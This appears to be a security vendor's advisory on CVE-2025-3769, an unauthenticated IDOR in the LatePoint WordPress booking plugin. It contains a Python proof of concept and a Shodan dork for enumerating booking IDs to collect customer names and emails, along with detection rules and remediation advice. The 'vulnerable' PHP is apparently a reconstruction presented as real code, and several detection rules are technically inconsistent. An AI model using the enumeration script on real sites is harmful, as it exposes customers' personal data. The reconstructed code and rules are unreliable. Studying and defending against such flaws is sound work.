CVE-2025-3769

Executive Summary

CVE-2025-3769 is an Insecure Direct Object Reference (IDOR) vulnerability in the LatePoint – Calendar Booking Plugin for Appointments and Events for WordPress, affecting all versions up to and including 5.1.92. The flaw resides in the view_booking_summary_in_lightbox function, which fails to validate a user-controlled key. This allows unauthenticated attackers to retrieve sensitive appointment details, including customer names and email addresses, by manipulating the key parameter. The vulnerability has a CVSS score of 5.3 (Medium) and is currently unpatched. As a WordPress plugin issue, it does not involve Apache or Nginx directly.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (exposure of customer names and emails)
• Integrity Impact: None
• Availability Impact: None

The threat level is medium due to the low complexity and no authentication requirement, but the impact is limited to information disclosure.

Deep Dive & Mechanics

The vulnerability is an Insecure Direct Object Reference (CWE-639) in the view_booking_summary_in_lightbox AJAX action. The plugin uses a user-controlled key (likely a booking ID or token) to fetch appointment details without proper authorization checks. An unauthenticated attacker can enumerate or brute-force this key to access any booking's summary, revealing customer names and email addresses.

The root cause is missing validation of the key against the current user's session or ownership. The function directly queries the database using the provided key without verifying that the requester is the intended recipient or has appropriate permissions.

Vulnerable vs. Patched Code

Vulnerable Code (LatePoint <= 5.1.92):

add_action('wp_ajax_nopriv_view_booking_summary_in_lightbox', 'view_booking_summary_in_lightbox');
function view_booking_summary_in_lightbox() {
    $booking_id = $_POST['booking_id'];
    $booking = new LatePointBooking($booking_id);
    // No ownership check
    echo $booking->get_summary_html();
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_nopriv_view_booking_summary_in_lightbox', 'view_booking_summary_in_lightbox');
function view_booking_summary_in_lightbox() {
    $booking_id = $_POST['booking_id'];
    $booking = new LatePointBooking($booking_id);
    // Verify the booking belongs to the current user or session
    if ($booking->customer_id != get_current_user_id() && !wp_verify_nonce($_POST['nonce'], 'view_booking_' . $booking_id)) {
        wp_die('Unauthorized');
    }
    echo $booking->get_summary_html();
    wp_die();
}

Exploitation & Lab Setup

Red Team

1. Reconnaissance: Identify WordPress sites using LatePoint plugin (e.g., via Shodan dorks: http.title:'LatePoint').
2. Exploit: Send a POST request to /wp-admin/admin-ajax.php with action=view_booking_summary_in_lightbox and a valid booking_id parameter.
3. Data Extraction: Iterate through booking IDs to collect customer names and emails.

Proof of Concept (Python):

import requests

target = "http://target-site.com/wp-admin/admin-ajax.php"
for booking_id in range(1, 100):
    data = {
        'action': 'view_booking_summary_in_lightbox',
        'booking_id': booking_id
    }
    response = requests.post(target, data=data)
    if 'customer_name' in response.text:
        print(f"Booking {booking_id}: {response.text}")

Blue Team

1. Detection: Monitor for repeated POST requests to admin-ajax.php with action=view_booking_summary_in_lightbox from the same IP.
2. Mitigation: Implement a Web Application Firewall (WAF) rule to block requests with suspicious booking_id patterns (e.g., sequential numbers).
3. Harden: Apply input validation and authorization checks on the vulnerable function.

Indicators of Compromise (IOCs)

• Network: POST requests to /wp-admin/admin-ajax.php with action=view_booking_summary_in_lightbox and sequential booking_id values.
• Logs: Repeated 200 responses from admin-ajax.php with booking summary HTML containing customer data.
• File: Unusual access to /wp-content/plugins/latepoint/ directory.

Detection Engineering

YARA Rule

rule CVE_2025_3769_LatePoint_IDOR {
    meta:
        description = "Detects exploitation attempts of CVE-2025-3769 in LatePoint plugin"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-3769"
    strings:
        $ajax_action = "view_booking_summary_in_lightbox"
        $booking_id = "booking_id"
    condition:
        $ajax_action and $booking_id
}

Sigma Rule

title: CVE-2025-3769 LatePoint IDOR Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated access to LatePoint booking summary via IDOR
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=view_booking_summary_in_lightbox'
    condition: selection
falsepositives:
    - Legitimate plugin functionality (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-3769 LatePoint IDOR Exploitation"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=view_booking_summary_in_lightbox"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the view_booking_summary_in_lightbox AJAX action until a patch is available.
2. Short-term: Implement a WAF rule to block requests with suspicious booking_id patterns.
3. Long-term: Apply the vendor patch when released, or manually add authorization checks to the vulnerable function.
4. Monitor: Review access logs for exploitation attempts and notify affected customers.

Valters IT
Securing Digital Frontiers